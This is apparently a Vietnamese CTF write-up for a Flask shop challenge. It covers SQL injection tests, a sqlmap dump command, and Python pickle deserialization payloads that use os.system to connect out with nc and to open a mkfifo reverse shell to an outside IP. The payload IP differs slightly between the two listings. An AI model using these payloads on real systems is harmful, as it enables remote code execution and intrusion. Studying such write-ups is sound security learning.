Phân Tích Code
Vì đề bài cho source code nên mình sẽ tiến hành phần tích mã nguồn để xem ứng dụng có những chức năng gì và luồng của code như thế nào.
Đây là mã nguồn được viết bằng Python và Flask. Tôi sẽ đọc tệp routes.py
để biết thông tin đầu vào của trang web.
Ở đây mình thấy có 2 chức năng là homepage và viewpage. Trang homepage sẽ hiển thị tất cả các sản phẩm và trang viewpage sẽ hiển thị chi tiết từng sản phẩm.
Hai chức năng query all_product và select_by_id ở trong class Shop trong file models.py
, mình sẽ kiểm tra 2 chức năng này.
Trong hàm select_by_id có truyền 1 biến product_id và biến này không được filter => điều này có thể dẫn đến lỗi SQL Injection.
Ngay cả trong hàm query_db cũng không được filter.
Khai Thác SQLi
Mình thử payload ' or '1'='1
và ' or '1'='2
Tiếp theo mình sẽ sử dụng sqlmap để thực hiện khai thác dump db.
python sqlmap.py -u http://localhost:8888/view/1 --random-agent --level=5 --risk=3 --dbms=mysql --dump
Kết quả mình nhận được là dữ liệu đã bị encode dạng base64.
=> Có vẻ như mình đã sai hay thiếu ở đâu đó.
Tiếp Tục Phân Tích Code
Khi mình quay lại phân tích file routes.py
thì mình mới để ý là dữ liệu hiển thị trong file item.html
@web.route('/view/<product_id>')
def product_details(product_id):
return render_template('item.html', product=shop.select_by_id(product_id))
Nội dung của file item.html
có 1 đoạn như thế này
<section class="py-5">
<div class="container px-4 px-lg-5 my-5">
<div class="row gx-4 gx-lg-5 align-items-center">
{ set item = product | pickle }
<div class="col-md-6"><img class="card-img-top mb-5 mb-md-0" src="" alt="..." /></div>
<div class="col-md-6">
<h1 class="display-5 fw-bolder"></h1>
<div class="fs-5 mb-5">
<span>£</span>
</div>
<p class="lead"></p>
</div>
</div>
</div>
</section>
Nội dung hiển thị ra được sử dụng hàm pickle
để bảo vệ.
Và trong file app.py
, hàm sẽ được trả ra kết quả base64.
@app.template_filter('pickle')
def pickle_loads(s):
return pickle.loads(base64.b64decode(s))
Và sau một thời gian tìm kiếm trên google và về hàm pickle. Mình nhận thấy rằng hàm này có thể RCE.
- https://davidhamann.de/2020/04/05/exploiting-python-pickle/
- https://docs.python.org/3/library/pickle.html
Exploit
Trước tiên, mình thử nc
đến server của mình để xem nó có hoạt động hay không với payload:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ("nc 103.68.192.239 8899")
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
data = base64.b64encode(pickled).decode()
print(data)
Mở 1 port 8899 trên server với lệnh sau: nc -lnvp 8899
Sau đó mình sử dụng burpsuite để thực hiện gửi payload lên ứng dụng web.
Và mình nhận được 1 kết nối lên server.
Tiếp theo mình tạo một payload để thực hiện reverse shell về server của mình
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 103.69.195.239 8899 >/tmp/f")
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
data = base64.b64encode(pickled).decode()
print(data)
Và send payload lên ứng dụng
Sau đó mình có được shell và get flag